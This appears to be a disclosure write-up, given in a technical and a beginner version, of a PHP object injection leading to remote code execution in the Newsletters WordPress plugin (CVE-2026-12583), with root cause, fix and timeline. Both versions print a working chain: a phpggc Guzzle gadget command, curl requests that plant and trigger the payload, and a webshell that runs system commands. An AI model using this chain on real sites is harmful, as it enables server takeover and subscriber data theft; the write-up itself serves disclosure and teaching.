Skip to content
RCE Write-up Advanced

Patching One Instance Does Not Fix the Class: PHP Object Injection to RCE in the Newsletters Plugin (CVE-2026–12583)

The Newsletters WordPress plugin passed unauthenticated subscriber-supplied custom field values to PHP's unserialize() without restricting allowed classes, and a bundled Guzzle library provided a gadget chain that writes files to disk. An attacker could submit a crafted serialized object through the public subscription form and later trigger deserialization to write a webshell and achieve remote code execution.

Yaswanth R. Sunkara Follow

Published on medium.com

Remote Code Execution

Yaswanth R. Sunkara, on medium.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 8 min read.

Context

Newsletters by Tribulant Software is described as one of the oldest and most widely deployed email marketing plugins in the WordPress ecosystem, with around 30,000 installations. The plugin exposes a public subscription form that accepts custom fields from visitors before those visitors are ever verified as real users. One of those custom field values was passed to PHP's unserialize() at render time, without authentication, and a working gadget chain was available inside the plugin's own vendor directory. The result is remote code execution with no account required.

The vulnerability is CVE-2026-12583, classified as CWE-502: Deserialisation of Untrusted Data, with a CVSS score of 8.1 High. Authentication is not required. Affected versions are Newsletters below 4.15; the fix landed in 4.15.

The article traces how a partial patch for a prior CVE, CVE-2025-67911, left two sibling unserialize() calls untouched in the same function, and how a bundled dependency turned a stored value into shell access.

Setup

The research was an audit of Newsletters v4.14. Exploitation was confirmed in an isolated Docker test environment using a Docker DAST setup: a phpggc payload was delivered through the subscribe form, deserialisation was triggered through the view-online endpoint, and a webshell was written and executed. The commands in the report use phpggc to generate the Guzzle gadget payload and curl to send the requests.

The target must run a vulnerable version (<= 4.14). Guzzle 6.5.8 ships in vendor/guzzlehttp/guzzle/, which the report says is the case on every installation of the plugin. The attacker needs no account: the subscribe form is public, and the trigger is a subscriber reading a newsletter through the view-online feature.

Finding it

CVE-2025-67911 had already documented PHP object injection in the Newsletters plugin, and Tribulant patched it. The fix added an is_serialized() guard and passed ['allowed_classes' => false] to unserialize() at the call site that was reported. The researcher's point is that this is not the same as fixing the class of bug.

In a 12,000-line file named wp-mailinglist-plugin.php, unserialize() appears in multiple places. The patch covered one of them. Two others inside the same replace_custom_field() function, which is called every time a newsletter is rendered for any subscriber, were left bare.

The defended call, added as part of the prior fix, looks like this:

PHP
if (is_string($fieldvalue) && function_exists('is_serialized') && is_serialized($fieldvalue)) {    $maybe_unserialized = @unserialize($fieldvalue, array('allowed_classes' => false));

The missed calls, untouched in the same function:

PHP
$date = @unserialize($subscriber->{$field->slug});if (($varray = @unserialize($value)) !== false) {

Same function, same data source: one call defended, two not. In wp-mailinglist-plugin.php alone, unserialize() appears at lines 9104, 9904 and 9941, all operating on subscriber-supplied data.

Exploitation

The full source-to-sink path, as given in the report:

Text
Visitor POST to /wp-admin/admin-post.php?action=newsletters_subscribe  -> Subscriber::optin($_POST)           (no auth required)  -> saves raw field value to subscriber DB row  -> [subscriber reads newsletter "view online"]  -> render_email() -> replace_custom_field()    (line 9623/9709)  -> switch ($field->type) ... default:  -> @unserialize($subscriber->{$field->slug})   (line 9941, no allowed_classes)  -> GuzzleHttp\Cookie\FileCookieJar::__destruct()  -> file_put_contents($attacker_path, $attacker_content)  -> webshell written to uploads directory

The entry point is the public subscription form. The optin() method at line 2661 accepts $_POST directly from an anonymous visitor and stores every custom field value as a subscriber record column. There is no authentication and no serialisation check at save time.

The gadget chain does not have to be found externally. Guzzle 6.5.8 is bundled in the plugin's own vendor/ directory. FileCookieJar::__destruct() writes its cookie store to disk when the object is destroyed. Point it at a PHP file in a writable directory and it writes whatever content the serialised object specifies.

The report contrasts the legitimate and attack cases side by side:

Text
LEGITIMATE                     ATTACK───────────────────────────    ──────────────────────────────────────────custom_field: "Acme Corp"      custom_field: O:34:"GuzzleHttp\Cookie\                               FileCookieJar":2:{s:41:"...}                                                    └── serialized payloadStored in DB: "Acme Corp"                Stored in DB: serialized FileCookieJar objectOn render: displayed as company name     On render: @unserialize() fires __destruct()                                          -> file_put_contents('/uploads/x.php',                                             '<?php system($_GET[c]); ?>')

Step 1: generate the payload

Bash
phpggc GuzzleHttp/FW1 \  /var/www/html/wp-content/uploads/x.php \  '<?php system($_GET["c"]); ?>' > payload.txt

phpggc builds a serialised GuzzleHttp\Cookie\FileCookieJar object whose destructor will write the given PHP content to the given path.

Step 2: submit the payload through the public subscribe form

Bash
curl -s -X POST 'https://target.com/wp-admin/admin-post.php' \  -d 'action=newsletters_subscribe' \  -d 'Subscriber[email]=[redacted]' \  -d 'Subscriber[list_id][]=1' \  --data-urlencode "Subscriber[custom_text_field]=$(cat payload.txt)"

This posts to admin-post.php with action=newsletters_subscribe, which reaches Subscriber::optin($_POST). The serialised object is sent as the value of a custom text field and stored verbatim in the subscriber's database row. No account is needed for this request.

Step 3: trigger rendering of the newsletter

Bash
curl -s 'https://target.com/?newsletters-action=email&id=1&subscriber_id=<id>&key=<key>'

This is the view-online path. Rendering the newsletter calls render_email() and then replace_custom_field(), where the switch ($field->type) falls through to the default branch and calls @unserialize($subscriber->{$field->slug}) at line 9941 without allowed_classes. The FileCookieJar object is instantiated and its __destruct() runs file_put_contents() with the attacker's path and content, writing the webshell into the uploads directory.

Step 4: execute the webshell

Bash
curl 'https://target.com/wp-content/uploads/x.php?c=id'

Requesting the written file with c=id runs the command through system().

Root cause

The mistake is a partial patch. The prior fix for CVE-2025-67911 guarded one unserialize() call site with is_serialized() and ['allowed_classes' => false], but two other calls in the same replace_custom_field() function were left bare. The report notes that the correct response to a CWE-502 CVE in a plugin is to run grep -rn 'unserialize(' --include='*.php' and audit every result for user-influenceable input; Tribulant fixed the reported call site and stopped.

A second part of the root cause is the assumption that database-sourced data is trusted. The subscribe form at admin-post.php?action=newsletters_subscribe requires no account and stores whatever a visitor submits verbatim. Any code path that later calls unserialize() on a subscriber field without restricting classes is deserializing attacker-controlled data, regardless of the database hop between input and execution.

A third part is the bundled dependency. The plugin ships vendor/guzzlehttp/guzzle/, so GuzzleHttp\Cookie\FileCookieJar is available as a gadget on every installation. GuzzleHttp\Cookie\FileCookieJar is one of the most widely known PHP deserialisation gadgets precisely because so many PHP applications bundle Guzzle.

Impact

PHP object injection through a gadget that writes arbitrary files to a webserver path is remote code execution. The report lists the consequences:

  • Webshell persistence: the written file survives plugin updates and server restarts. An attacker with a shell can establish a reverse connection, install a backdoor and maintain access independently of the WordPress installation.
  • Full database access: with shell access and wp-config.php in scope, every subscriber record, every sent email and every private subscriber list is readable. For a mailing list plugin, that is the entire business asset.
  • Lateral movement: the webserver user (www-data) typically has read access to all vhosts on shared hosting, so a single compromised newsletter installation can be used to pivot to other sites on the same server.
  • Mass subscriber exfiltration: the attacker already has a subscriber record in the database, and the same shell gives read access to every other subscriber record, including email addresses, names, custom field values and subscription preferences.

The published CVSS vector is CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, scoring 8.1 High. The AC:H metric reflects that exploitation requires a suitable POP chain to be present in the target environment. In practice, Guzzle 6.5.8 ships inside the plugin itself, so every installation carries the gadget. AC:H reduces the score from 9.8 to 8.1, but it does not reduce real-world exploitability: any attacker who knows phpggc exists and can read the plugin's composer.json has everything needed.

Fix

Version 4.15 extends the same guard that was applied to the checkbox field type in the prior patch to the remaining two call sites.

Before (vulnerable, all versions <= 4.14):

PHP
case 'pre_date':    $date = @unserialize($subscriber->{$field->slug});default:    if (($varray = @unserialize($value)) !== false) {default:    if (($varray = @unserialize($value)) !== false) {

After (fixed in 4.15):

PHP
case 'pre_date':    if (is_serialized($subscriber->{$field->slug})) {        $date = @unserialize($subscriber->{$field->slug}, ['allowed_classes' => false]);    }default:    if (is_serialized($value) && ($varray = @unserialize($value, ['allowed_classes' => false])) !== false) {

The fix works because is_serialized() rejects values that do not conform to PHP's serialisation format, and allowed_classes => false prevents any class from being instantiated during deserialisation even if a serialised object slips through. Together they break the gadget chain before it can execute. If you are running Newsletters, update to 4.15 or later immediately.

Variants to test

  1. Audit every unserialize() call after a deserialisation CVE. Run grep -rn 'unserialize(' --include='*.php' across the plugin and check each result for user-influenceable input. A positive result is a call that receives data from a public form, a cookie, a header or any other unauthenticated source without allowed_classes => false.
  2. Treat database-sourced values as user input when a public form writes them. Trace a public form field from submission to storage to every later read. A positive result is a stored value that reaches unserialize() without a class restriction, even with a database hop in between.
  3. Check the vendor directory for known gadgets. Look for vendor/guzzlehttp/guzzle/ and other bundled libraries with known POP chains. A positive result is a reachable unserialize() sink plus a gadget class present in vendor/, which makes the finding RCE until proven otherwise.
  4. Test the view-online render path. Submit a serialised object as a custom field value through the subscribe form, then request the newsletter through the view-online endpoint. A positive result is the object being instantiated at render time, observable through the gadget's side effect, such as a file written to a writable directory.

Timeline

  • 2026-06-09: vulnerability discovered during audit of Newsletters v4.14
  • 2026-06-09: Docker DAST confirmed: phpggc payload delivered via subscribe form, deserialisation triggered via view-online endpoint, webshell written and executed
  • 2026-06-09: reported to WPScan CNA (submission #41962)
  • 2026-06-23: CVE-2026-12583 assigned by WPScan CNA
  • 2026-06-29: published to WPScan vulnerability database
  • 2026: patch released, Newsletters 4.15

CVE-2026-12583 was discovered and reported through the WPScan responsible disclosure program. All technical details were verified in an isolated Docker test environment and published after CVE assignment and patch availability.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 24 min read.

What happened, in plain words

A WordPress plugin called Newsletters, made by Tribulant Software, lets a website owner run an email mailing list: visitors can sign up through a form on the site, and the owner later sends them newsletters. The plugin is described as one of the oldest and most widely deployed email marketing plugins in the WordPress ecosystem, with around 30,000 installations.

That public sign-up form lets a visitor fill in extra fields of their own choosing, called custom fields, before anyone has checked that the visitor is a real person. One of those field values was later handed to a PHP function called unserialize(), which turns a piece of text back into a live object inside the program. The plugin did this while building the newsletter page, with no login required. And the plugin happened to ship, inside its own folders, a library called Guzzle whose code contains a class that does something dangerous when it is destroyed: it writes a file to disk. Put those two facts together and an anonymous visitor can make the server write a file of their choosing, including a small program that runs commands. That is remote code execution: running your own code on someone else's server, from a distance, without an account.

The vulnerability is tracked as CVE-2026-12583. A CVE is a public catalogue number for a known security flaw, so people can talk about the same bug unambiguously. It is classified as CWE-502, Deserialisation of Untrusted Data, a category name explained below. Its CVSS score is 8.1 High; CVSS is a standard scoring system that tries to express how serious a flaw is. Authentication is not required. Affected versions are Newsletters below 4.15, and the fix landed in 4.15.

The article traces how a partial patch for a prior CVE, CVE-2025-67911, left two sibling unserialize() calls untouched in the same function, and how a bundled dependency turned a stored value into shell access.

The words you need first

Before the details, a handful of ideas come up again and again. Each one is explained here once, in everyday terms.

  • WordPress and plugins. WordPress is a system for building websites. A plugin is an add-on that gives the site extra features, like a shop or, in this case, a mailing list. Plugins are written in a programming language called PHP, which runs on the web server, the computer that answers visitors' requests.
  • A function. A named block of code that does one job and can be called from elsewhere. When the article says a function is called, it means the program jumps into that block and runs it.
  • Serialisation. Turning a live object in a program (say, a shopping basket with items in it) into a line of text so it can be stored in a database or sent over a network. The text is called a serialised value. It looks like O:34:"SomeClassName":2:{...}, where the O means object, the number is the length of the class name, and the braces hold the object's data.
  • Deserialisation, and unserialize(). The reverse: taking that text and rebuilding the live object. PHP's function for this is unserialize(). It is useful, but it has a sharp edge: rebuilding an object can run code that the object's class defines, such as a destructor (see next point). If the text came from an attacker, the attacker effectively chooses which code runs.
  • A destructor. A special method (a function attached to a class) that PHP runs automatically when an object is no longer needed and is being cleaned up. Its name starts with __, for example __destruct(). It is meant for tidying up, but if it does something powerful, like writing a file, an attacker who can create that object can abuse it.
  • A gadget chain. A sequence of existing classes in a program that, when an attacker builds the right object out of them, ends up doing something harmful, such as writing a file or running a command. The attacker does not need to inject their own code; they just assemble the program's own building blocks in a clever order. A POP chain (property-oriented programming chain) is the same idea.
  • PHP object injection. The vulnerability class here: the attacker supplies serialised text that the program later deserialises, so the attacker controls which objects get built. Combined with a gadget chain, it becomes code execution.
  • Remote code execution (RCE). Making a server run commands or programs of your choosing. It is usually the most severe outcome of a web vulnerability, because from there an attacker can read files, change data or take over the machine.
  • A webshell. A small file placed on a web server that, when requested in a browser or with a tool, runs a command on the server and returns the output. It is called a shell because it gives the attacker a command line, through the web.
  • A cookie jar. In the Guzzle library, a cookie jar is an object that remembers cookies. A cookie is a small piece of data a website asks your browser to keep and send back on later requests, often used to remember that you are logged in. Guzzle's FileCookieJar saves those cookies to a file on disk.
  • vendor/ directory. When PHP projects use third-party libraries, the libraries are usually downloaded into a folder called vendor. The plugin's own copy of Guzzle lives in vendor/guzzlehttp/guzzle/.
  • curl. A command-line tool for sending web requests, useful for testing without a browser. The article uses it to send the attack requests.
  • phpggc. A public tool that generates ready-made serialised payloads for known gadget chains in PHP libraries. You tell it which gadget and what to do, and it prints the text to send.
  • Docker. A tool for running software in isolated containers, like small disposable computers. The researcher used it to build a safe test copy of a vulnerable site.
  • DAST. Dynamic application security testing: testing a running application from the outside, the way an attacker would, rather than reading its code.
  • CNA. CVE Numbering Authority: an organisation authorised to assign CVE numbers. WPScan is the CNA here, and it also runs a public database of WordPress vulnerabilities.

Setup: how the researcher tested it

The research was an audit of Newsletters v4.14. Exploitation was confirmed in an isolated Docker test environment using a Docker DAST setup: a phpggc payload was delivered through the subscribe form, deserialisation was triggered through the view-online endpoint, and a webshell was written and executed. The commands in the report use phpggc to generate the Guzzle gadget payload and curl to send the requests.

The target must run a vulnerable version (<= 4.14). Guzzle 6.5.8 ships in vendor/guzzlehttp/guzzle/, which the report says is the case on every installation of the plugin. The attacker needs no account: the subscribe form is public, and the trigger is a subscriber reading a newsletter through the view-online feature.

A container is a throwaway copy that can be deleted afterwards, so the researcher can prove the attack works without touching anyone's live server.

Finding it: one fix, three calls

CVE-2025-67911 had already documented PHP object injection in the Newsletters plugin, and Tribulant patched it. The fix added an is_serialized() guard and passed ['allowed_classes' => false] to unserialize() at the call site that was reported. The researcher's point is that this is not the same as fixing the class of bug.

Two of those ideas need unpacking. is_serialized() is a helper that checks whether a piece of text actually looks like PHP's serialisation format; if it does not, the code skips the deserialisation entirely. ['allowed_classes' => false] is an option that tells unserialize() not to rebuild any object at all: it may still turn text into plain values like numbers and arrays, but it will refuse to create class instances. Since the danger comes from objects running their own code, refusing to create objects removes the danger. Think of it as a parcel inspector who will open a box to check the contents but will not press any button found inside.

In a 12,000-line file named wp-mailinglist-plugin.php, unserialize() appears in multiple places. The patch covered one of them. Two others inside the same replace_custom_field() function, which is called every time a newsletter is rendered for any subscriber, were left bare.

The defended call, added as part of the prior fix, looks like this:

PHP
if (is_string($fieldvalue) && function_exists('is_serialized') && is_serialized($fieldvalue)) {    $maybe_unserialized = @unserialize($fieldvalue, array('allowed_classes' => false));

Line by line:

  1. if (is_string($fieldvalue) && function_exists('is_serialized') && is_serialized($fieldvalue)) checks three things before doing anything: the value is text, the helper function exists in this WordPress installation, and the text really is in serialised format. Only if all three are true does the next line run.
  2. $maybe_unserialized = @unserialize($fieldvalue, array('allowed_classes' => false)); performs the deserialisation with classes forbidden. The @ in front suppresses PHP warnings, so a malformed value does not print errors on the page.

The missed calls, untouched in the same function:

PHP
$date = @unserialize($subscriber->{$field->slug});if (($varray = @unserialize($value)) !== false) {

Line by line:

  1. $date = @unserialize($subscriber->{$field->slug}); takes a value stored on the subscriber record (the field identified by its slug, a short internal name) and deserialises it with no checks at all. No is_serialized(), no allowed_classes.
  2. if (($varray = @unserialize($value)) !== false) { does the same for another value, again with no guard, and only checks whether the result is not false.

Same function, same data source: one call defended, two not. In wp-mailinglist-plugin.php alone, unserialize() appears at lines 9104, 9904 and 9941, all operating on subscriber-supplied data.

Why does this matter so much? Because a patch that fixes only the reported line treats the symptom, not the disease. If a bug class exists in a file, every place that class can occur needs the same treatment. The researcher's comparison is a house with three unlocked doors: locking the one a burglar used last time does not make the house safe.

Exploitation: from a form field to a shell

The full source-to-sink path, as given in the report:

Text
Visitor POST to /wp-admin/admin-post.php?action=newsletters_subscribe  -> Subscriber::optin($_POST)           (no auth required)  -> saves raw field value to subscriber DB row  -> [subscriber reads newsletter "view online"]  -> render_email() -> replace_custom_field()    (line 9623/9709)  -> switch ($field->type) ... default:  -> @unserialize($subscriber->{$field->slug})   (line 9941, no allowed_classes)  -> GuzzleHttp\Cookie\FileCookieJar::__destruct()  -> file_put_contents($attacker_path, $attacker_content)  -> webshell written to uploads directory

This is a map of the journey. "Source" means where attacker-controlled data enters; "sink" means the dangerous operation it eventually reaches. Reading it line by line:

  1. A visitor sends a form submission (a POST request, meaning data sent in the body of the request rather than in the address) to /wp-admin/admin-post.php?action=newsletters_subscribe. The action=newsletters_subscribe part tells WordPress which handler to run.
  2. That reaches Subscriber::optin($_POST), a method that processes the submitted form. $_POST is PHP's array of everything the visitor submitted. No login is checked.
  3. The raw field value is saved into the subscriber's row in the database, exactly as sent.
  4. Later, the subscriber opens the newsletter through its "view online" link.
  5. Rendering the email calls render_email() and then replace_custom_field(), the function that swaps placeholders for the subscriber's own field values.
  6. A switch statement looks at the field's type; for the default case it falls through to the next line.
  7. @unserialize($subscriber->{$field->slug}) at line 9941 deserialises the stored value with no class restriction.
  8. Because the stored text describes a GuzzleHttp\Cookie\FileCookieJar object, PHP builds one, and when it is later destroyed its __destruct() runs.
  9. That destructor calls file_put_contents($attacker_path, $attacker_content), writing the attacker's content to the attacker's chosen path.
  10. The result is a webshell in the uploads directory, a folder the site uses for user-uploaded files and which the web server can write to.

The entry point is the public subscription form. The optin() method at line 2661 accepts $_POST directly from an anonymous visitor and stores every custom field value as a subscriber record column. There is no authentication and no serialisation check at save time.

The gadget chain does not have to be found externally. Guzzle 6.5.8 is bundled in the plugin's own vendor/ directory. FileCookieJar::__destruct() writes its cookie store to disk when the object is destroyed. Point it at a PHP file in a writable directory and it writes whatever content the serialised object specifies.

An everyday comparison: imagine a hotel where guests can leave a note at reception, and staff later read every note aloud. Normally a note says "please call me at noon". But if a note is written in a special format that the reading machine interprets as an instruction, the machine will follow it. The attacker is not breaking into the building; they are using the hotel's own note-reading service to give an order.

The report contrasts the legitimate and attack cases side by side:

Text
LEGITIMATE                     ATTACK───────────────────────────    ──────────────────────────────────────────custom_field: "Acme Corp"      custom_field: O:34:"GuzzleHttp\Cookie\                               FileCookieJar":2:{s:41:"...}                                                    └── serialized payloadStored in DB: "Acme Corp"                Stored in DB: serialized FileCookieJar objectOn render: displayed as company name     On render: @unserialize() fires __destruct()                                          -> file_put_contents('/uploads/x.php',                                             '<?php system($_GET[c]); ?>')

Reading the two columns:

  1. On the left, a normal visitor types a company name, "Acme Corp". It is stored as text and, when the newsletter is rendered, simply displayed.
  2. On the right, the attacker types a serialised object instead. The O:34: prefix says "an object whose class name is 34 characters long", and the name that follows is GuzzleHttp\Cookie\FileCookieJar. The 2:{...} holds the object's two properties.
  3. It is stored in the database just like the company name, because nothing checks it at save time.
  4. On render, @unserialize() builds the object, its __destruct() fires, and file_put_contents() writes /uploads/x.php containing <?php system($_GET[c]); ?>. That tiny PHP snippet is the webshell: it takes the c parameter from the URL and runs it as a system command.

Step 1: generate the payload

Bash
phpggc GuzzleHttp/FW1 \  /var/www/html/wp-content/uploads/x.php \  '<?php system($_GET["c"]); ?>' > payload.txt

Line by line:

  1. phpggc GuzzleHttp/FW1 asks the tool for the known Guzzle gadget chain named FW1. The tool knows how to assemble the right object for that library.
  2. '<?php system($_GET["c"]); ?>' is the content to write: a PHP snippet that runs whatever command is passed in the c URL parameter.
  3. > payload.txt saves the generated serialised text into a file, so it can be sent in the next step.

Why this step? Because the attacker cannot type a serialised object by hand reliably; the format is strict about lengths and structure. phpggc does the assembly for them.

Step 2: submit the payload through the public subscribe form

Bash
curl -s -X POST 'https://target.com/wp-admin/admin-post.php' \  -d 'action=newsletters_subscribe' \  -d 'Subscriber[email]=[redacted]' \  -d 'Subscriber[list_id][]=1' \  --data-urlencode "Subscriber[custom_text_field]=$(cat payload.txt)"

Line by line:

  1. curl -s -X POST 'https://target.com/wp-admin/admin-post.php' sends a POST request to the plugin's form handler. The -s keeps curl quiet about progress.
  2. -d 'action=newsletters_subscribe' tells the plugin which action to perform: subscribe.
  3. -d 'Subscriber[email]=[redacted]' supplies an email address for the new subscriber. The square brackets are how PHP names nested form fields.
  4. -d 'Subscriber[list_id][]=1' puts the subscriber on mailing list number 1.
  5. --data-urlencode "Subscriber[custom_text_field]=$(cat payload.txt)" sends the contents of payload.txt as the custom text field, URL-encoded so special characters survive the trip. $(cat payload.txt) means "run this command and put its output here".

This posts to admin-post.php with action=newsletters_subscribe, which reaches Subscriber::optin($_POST). The serialised object is sent as the value of a custom text field and stored verbatim in the subscriber's database row. No account is needed for this request.

Why this step? Because the form is the front door. It is meant for strangers, so it accepts the attacker's data without asking who they are, and it stores that data without inspecting it.

Step 3: trigger rendering of the newsletter

Bash
curl -s 'https://target.com/?newsletters-action=email&id=1&subscriber_id=<id>&key=<key>'

Line by line:

  1. curl -s sends a simple GET request, the kind your browser sends when you open a page.
  2. ?newsletters-action=email asks the plugin to show an email (newsletter) rather than another kind of page.
  3. id=1 identifies which newsletter to show.
  4. subscriber_id=<id>&key=<key> identify which subscriber is viewing it. The angle brackets are placeholders: the real values come from the subscriber record created in step 2.

This is the view-online path. Rendering the newsletter calls render_email() and then replace_custom_field(), where the switch ($field->type) falls through to the default branch and calls @unserialize($subscriber->{$field->slug}) at line 9941 without allowed_classes. The FileCookieJar object is instantiated and its __destruct() runs file_put_contents() with the attacker's path and content, writing the webshell into the uploads directory.

Why this step? Because storing the payload is not enough; the dangerous function only runs when the newsletter is rendered. The attacker needs the site to read the stored value back and deserialise it. The view-online feature does exactly that.

Step 4: execute the webshell

Bash
curl 'https://target.com/wp-content/uploads/x.php?c=id'

Line by line:

  1. curl requests the file that was just written, x.php, from the uploads folder.

Requesting the written file with c=id runs the command through system().

Root cause: three mistakes that combined

The mistake is a partial patch. The prior fix for CVE-2025-67911 guarded one unserialize() call site with is_serialized() and ['allowed_classes' => false], but two other calls in the same replace_custom_field() function were left bare. The report notes that the correct response to a CWE-502 CVE in a plugin is to run grep -rn 'unserialize(' --include='*.php' and audit every result for user-influenceable input; Tribulant fixed the reported call site and stopped.

That command deserves a word. grep searches files for text. -r means search recursively through folders, -n prints line numbers, 'unserialize(' is the text to find, and --include='*.php' limits the search to PHP files. The result is a list of every place in the plugin that deserialises something, with file and line, so each one can be checked by hand.

A second part of the root cause is the assumption that database-sourced data is trusted. The subscribe form at admin-post.php?action=newsletters_subscribe requires no account and stores whatever a visitor submits verbatim. Any code path that later calls unserialize() on a subscriber field without restricting classes is deserializing attacker-controlled data, regardless of the database hop between input and execution.

Think of it as a suggestion box. If anyone on the street can drop a note in, then the notes are not trustworthy just because they sat in the box overnight. The database is the box; the hop through it changes nothing about who wrote the note.

A third part is the bundled dependency. The plugin ships vendor/guzzlehttp/guzzle/, so GuzzleHttp\Cookie\FileCookieJar is available as a gadget on every installation. GuzzleHttp\Cookie\FileCookieJar is one of the most widely known PHP deserialisation gadgets precisely because so many PHP applications bundle Guzzle.

Impact: what an attacker gets

PHP object injection through a gadget that writes arbitrary files to a webserver path is remote code execution. The report lists the consequences:

  • Webshell persistence: the written file survives plugin updates and server restarts. An attacker with a shell can establish a reverse connection, install a backdoor and maintain access independently of the WordPress installation.
  • Full database access: with shell access and wp-config.php in scope, every subscriber record, every sent email and every private subscriber list is readable. For a mailing list plugin, that is the entire business asset. wp-config.php is WordPress's main settings file, and it holds the database username and password.
  • Lateral movement: the webserver user (www-data) typically has read access to all vhosts on shared hosting, so a single compromised newsletter installation can be used to pivot to other sites on the same server. A vhost is one website hosted on a shared machine; www-data is the default low-privilege account the web server runs as.
  • Mass subscriber exfiltration: the attacker already has a subscriber record in the database, and the same shell gives read access to every other subscriber record, including email addresses, names, custom field values and subscription preferences. Exfiltration means copying data out.

Why does a mailing list plugin make this worse than it sounds? Because the mailing list is the product. A shop losing its newsletter sign-ups loses a marketing channel; a newsletter business losing its subscriber list loses the thing it sells.

CVSS 8.1 versus the real-world picture

The published CVSS vector is CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H, scoring 8.1 High. A CVSS vector is a compact code where each pair of letters describes one property of the flaw. Reading the important ones:

  • AV:N means the attack can come over the network, not from the same machine.
  • AC:H means attack complexity is high: the attacker needs some extra condition to be true.
  • PR:N means no privileges are required: no account needed.
  • UI:N means no user interaction is required: no victim has to click anything.
  • C:H/I:H/A:H means high impact on confidentiality (reading data), integrity (changing data) and availability (keeping the service running).

The AC:H metric reflects that exploitation requires a suitable POP chain to be present in the target environment. In practice, Guzzle 6.5.8 ships inside the plugin itself, so every installation carries the gadget. AC:H reduces the score from 9.8 to 8.1, but it does not reduce real-world exploitability: any attacker who knows phpggc exists and can read the plugin's composer.json has everything needed. composer.json is the file that lists a PHP project's dependencies, so it tells an attacker which libraries are present and therefore which gadgets are available.

In plain terms: the score says "this needs a special condition", but the special condition is shipped with the product, so in practice it is always met.

The fix: version 4.15

Version 4.15 extends the same guard that was applied to the checkbox field type in the prior patch to the remaining two call sites.

Before (vulnerable, all versions <= 4.14):

PHP
case 'pre_date':    $date = @unserialize($subscriber->{$field->slug});default:    if (($varray = @unserialize($value)) !== false) {default:    if (($varray = @unserialize($value)) !== false) {

Line by line:

  1. case 'pre_date': handles a field of type "pre_date".
  2. $date = @unserialize($subscriber->{$field->slug}); deserialises the stored value with no guard.
  3. default: handles any other field type.
  4. if (($varray = @unserialize($value)) !== false) { deserialises another value with no guard, only checking the result is not false.
  5. The second default: block repeats the same unguarded pattern.

After (fixed in 4.15):

PHP
case 'pre_date':    if (is_serialized($subscriber->{$field->slug})) {        $date = @unserialize($subscriber->{$field->slug}, ['allowed_classes' => false]);    }default:    if (is_serialized($value) && ($varray = @unserialize($value, ['allowed_classes' => false])) !== false) {

Line by line:

  1. case 'pre_date': still handles the date field.
  2. if (is_serialized($subscriber->{$field->slug})) { now checks first that the stored value really is in serialised format.
  3. $date = @unserialize($subscriber->{$field->slug}, ['allowed_classes' => false]); deserialises it with classes forbidden, so no object is built and no destructor can run.
  4. default: still handles other field types.
  5. if (is_serialized($value) && ($varray = @unserialize($value, ['allowed_classes' => false])) !== false) { applies both protections in one line: check the format, then deserialise without allowing classes.

The fix works because is_serialized() rejects values that do not conform to PHP's serialisation format, and allowed_classes => false prevents any class from being instantiated during deserialisation even if a serialised object slips through. Together they break the gadget chain before it can execute. If you are running Newsletters, update to 4.15 or later immediately.

Why does this work? Because the attack depends on PHP building a FileCookieJar object. If no object is ever built, the destructor never runs, and the file is never written. The guard does not need to know what the attacker sent; it simply refuses to build anything.

What should have caught this

  1. When a prior CVE covers a bug class, audit every call site of that class, not just the reported one. CVE-2025-67911 was a PHP object injection finding in this plugin. The correct response to a CWE-502 CVE in a plugin is to run grep -rn 'unserialize(' --include='*.php' and audit every result for user-influenceable input. Tribulant fixed the reported call site and stopped. A class-level audit after the first CVE would have caught all three in the same session.
  2. Subscriber database records are user input. A common dismissal for deserialisation findings is "the data comes from the database, so it is trusted". This is wrong when an unauthenticated form writes to that database. The subscribe form at admin-post.php?action=newsletters_subscribe requires no account. Whatever a visitor submits is stored verbatim.
  3. Bundled dependencies are in-scope gadget chains. A plugin that ships vendor/guzzlehttp/guzzle/ alongside its own code has made a gadget chain available on every installation. Security reviews of deserialisation sinks must account for the full vendor directory, not just WordPress core classes. If unserialize() is reachable with attacker input and Guzzle is in vendor/, the finding is RCE until proven otherwise.

Variants to test

If you are learning to review code, these are the checks the report suggests, each with what a positive result looks like.

  1. Audit every unserialize() call after a deserialisation CVE. Run grep -rn 'unserialize(' --include='*.php' across the plugin and check each result for user-influenceable input. A positive result is a call that receives data from a public form, a cookie, a header or any other unauthenticated source without allowed_classes => false.
  2. Treat database-sourced values as user input when a public form writes them. Trace a public form field from submission to storage to every later read. A positive result is a stored value that reaches unserialize() without a class restriction, even with a database hop in between.
  3. Check the vendor directory for known gadgets. Look for vendor/guzzlehttp/guzzle/ and other bundled libraries with known POP chains. A positive result is a reachable unserialize() sink plus a gadget class present in vendor/, which makes the finding RCE until proven otherwise.
  4. Test the view-online render path. Submit a serialised object as a custom field value through the subscribe form, then request the newsletter through the view-online endpoint. A positive result is the object being instantiated at render time, observable through the gadget's side effect, such as a file written to a writable directory.

Timeline

  • 2026-06-09: vulnerability discovered during audit of Newsletters v4.14
  • 2026-06-09: Docker DAST confirmed: phpggc payload delivered via subscribe form, deserialisation triggered via view-online endpoint, webshell written and executed
  • 2026-06-09: reported to WPScan CNA (submission #41962)
  • 2026-06-23: CVE-2026-12583 assigned by WPScan CNA
  • 2026-06-29: published to WPScan vulnerability database
  • 2026: patch released, Newsletters 4.15

CVE-2026-12583 was discovered and reported through the WPScan responsible disclosure program. All technical details were verified in an isolated Docker test environment and published after CVE assignment and patch availability. Responsible disclosure means telling the vendor privately first and giving them time to fix the problem before the details go public, so that site owners are not left exposed.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of requests a program accepts.
  • Authentication: proving who you are, usually by logging in. "Unauthenticated" means no login is needed.
  • CNA (CVE Numbering Authority): an organisation authorised to assign CVE numbers to vulnerabilities.
  • Cookie: a small piece of data a website asks your browser to store and send back on later requests, often used to remember a login.
  • Cookie jar: in Guzzle, an object that stores cookies; FileCookieJar saves them to a file on disk.
  • composer.json: the file listing a PHP project's third-party dependencies.
  • CVE: a public catalogue number for a known security vulnerability, so people can refer to the same flaw unambiguously.
  • CVSS: a standard scoring system for the severity of a vulnerability, from 0 to 10, with a vector string describing its properties.
  • CWE-502: the category name for deserialisation of untrusted data, the bug class in this report.
  • DAST: dynamic application security testing, testing a running application from the outside as an attacker would.
